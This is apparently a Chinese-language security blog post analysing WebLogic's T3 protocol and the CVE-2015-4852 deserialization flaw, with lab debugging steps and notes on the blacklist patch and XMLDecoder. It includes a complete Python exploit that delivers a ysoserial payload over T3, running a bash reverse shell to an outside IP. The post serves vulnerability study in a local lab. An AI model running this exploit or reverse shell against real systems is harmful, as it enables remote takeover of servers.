简介

官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。

环境搭建

项目地址:https://github.com/QAX-A-Team/WeblogicEnvironment

weblogic安装地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

较老的版本比如weblogic10在这里找:https://edelivery.oracle.com/osdc/faces/SoftwareDelivery

jdk安装地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

有关WebLogic的基础知识可以看:https://paper.seebug.org/1012/,说的非常详细,这也是上面docker环境搭建的作者

很难受,找不到weblogic 10.3.6.0的版本了,感觉都和文章提到的文件不一样,那就只能起一个vulhub的weblogic环境,直接从里面把weblogic的文件拉出来然后调试了,所以不同版本的调试环境搭建先不在这里写了,等会具体分析再写

T3协议分析

这里直接用的CVE-2015-4852的exp来对攻击流量进行分析来复现,用的weblogic版本是10.3.6.0

T3协议介绍

T3 协议是 Weblogic RMI 调用时的通信协议

RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的

Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

协议分析

首先是CVE-2015-4852的exp

import socket
import sys
import struct
import re
import subprocess
import binascii
import time

def get_payload1(gadget, command):
JAR_FILE = 'ysoserial-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 10.3.1\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)

time.sleep(0.5)

data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return


print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度,将payload的长度转换为大端模式写入
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "bash -i >& /dev/tcp/172.24.120.203/8888 0>&1"

payload = get_payload1(gadget, command)

exp(host, port, payload)

打过去之后我们可以抓到这样的一个流量包

image-20250409231358262

T3协议的结构分为请求头和请求体

请求头

请求头就是第一部分的红色数据,先和服务端进行一次handshake

t3 10.3.1
AS:255
HL:19
MS:10000000

第一行为“t3”加weblogic客户端的版本号

然后服务端就会返回相应的数据

HELO:10.3.6.0.false
AS:2048
HL:19

第一行为“HELO:”加weblogic服务器的版本号

所以该方法也可以用来探测服务端是否开放了T3协议,有一次面试的时候被问到了,结果不太清楚

请求体

然后就是请求体的部分了,这里就引用z_zz_zzz师傅的图了:http://drops.xmd5.com/static/drops/web-13470.html

image-20250409235802346

pic

首先是第一部分的数据,前四个字节表示的是整个数据包的长度,比如图中的(1711=0x6AF),然后跟着其余的一些数据

从第二部分开始就是java的序列化数据了,每一部分开头都是ac ed 00 05,表明这是序列化的内容,然后fe 01 00 00是反序列化的标识头,从攻击流量中也可以看到

image-20250410000643641

所以我们构造payload的话,就可以根据该格式,对序列化的内容进行替换

image-20250410001347941

从exp的写法也可以看到,都是按照格式来拼接的

CVE-2015-4852分析

前面协议的流量分析过了,这里就把这个cve的触发流程也分析一下

调试环境搭建

我们这里用的vulhub的2017的环境,是没有开启debug环境的,所以需要我们手动去开一下

这里先修改一下vulhub的docker compose文件,开放一下8453端口,因为8453是weblogic的远程调试端口

image-20250410130716455

这个5556是Node Manager的默认监听端口。Node Manager是WebLogic Server的一个Java程序,用于启动、关闭和监控服务器实例。

然后我们可以参考奇安信大哥的安装脚本里面的开启debug模式去手动操作一下

image-20250410130904372

像下面这样更改然后重启容器即可

image-20250410171029740

然后我们要把wlserver_10.3/server/lib文件夹拉出来添加到库里

image-20250410170301760

然后再配置远程调试

image-20250410170418983

启动一下debug

image-20250410171202544

成功连接

流程分析

T3协议接受的数据,是在weblogic.rjvm.InboundMsgAbbrev#readObject进行了一个反序列化的操作,里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法

image-20250410180315180

然后这里创建了一个内部类,并且调用了readObject方法,看一下ServerChannelInputStream的实现

image-20250410182506169

这里对resolveClass进行了重写,直接调用了父类的resolveClass,也没有进行任何过滤,后面就接着正常的反序列化流程了,这就导致了漏洞的产生,然后weblogic本身带了cc依赖,所以可以直接打cc链,或者其他的一些gadget

漏洞修复

官方修复是增加了黑名单

img

有关WebLogic的官方通告和安全补丁发布的网址:https://www.oracle.com/security-alerts/

这种单纯黑名单的方式肯定是容易被绕过的,后面出现的cve就有直接把这个绕了的

XMLDecoder相关

因为WebLogic的反序列化漏洞主要分为两类,一类是前面的T3协议的反序列化,另一类就是XMLDecoder相关的反序列化漏洞

所以这里了解一下XMLDecoder相关的基础知识

介绍

XML(Extensible Markup Language)是一种标记语言,在开发过程中,开发人员可以使用XML来进行数据的传输或充当配置文件。那么Java为了将对象持久化从而方便传输,就使得Philip Mine在JDK1.4中开发了一个用作持久化的工具,XMLDecoder与XMLEncoder。

JDK1.6和JDK1.7的Handler实现均有不同

xml解析过程

这部分的详细内容可以看一下https://paper.seebug.org/1012/

参考

https://paper.seebug.org/1012/

环境搭建:https://github.com/QAX-A-Team/WeblogicEnvironment

https://cmisl.github.io/2024/09/08/Weblogic/

http://drops.xmd5.com/static/drops/web-13470.html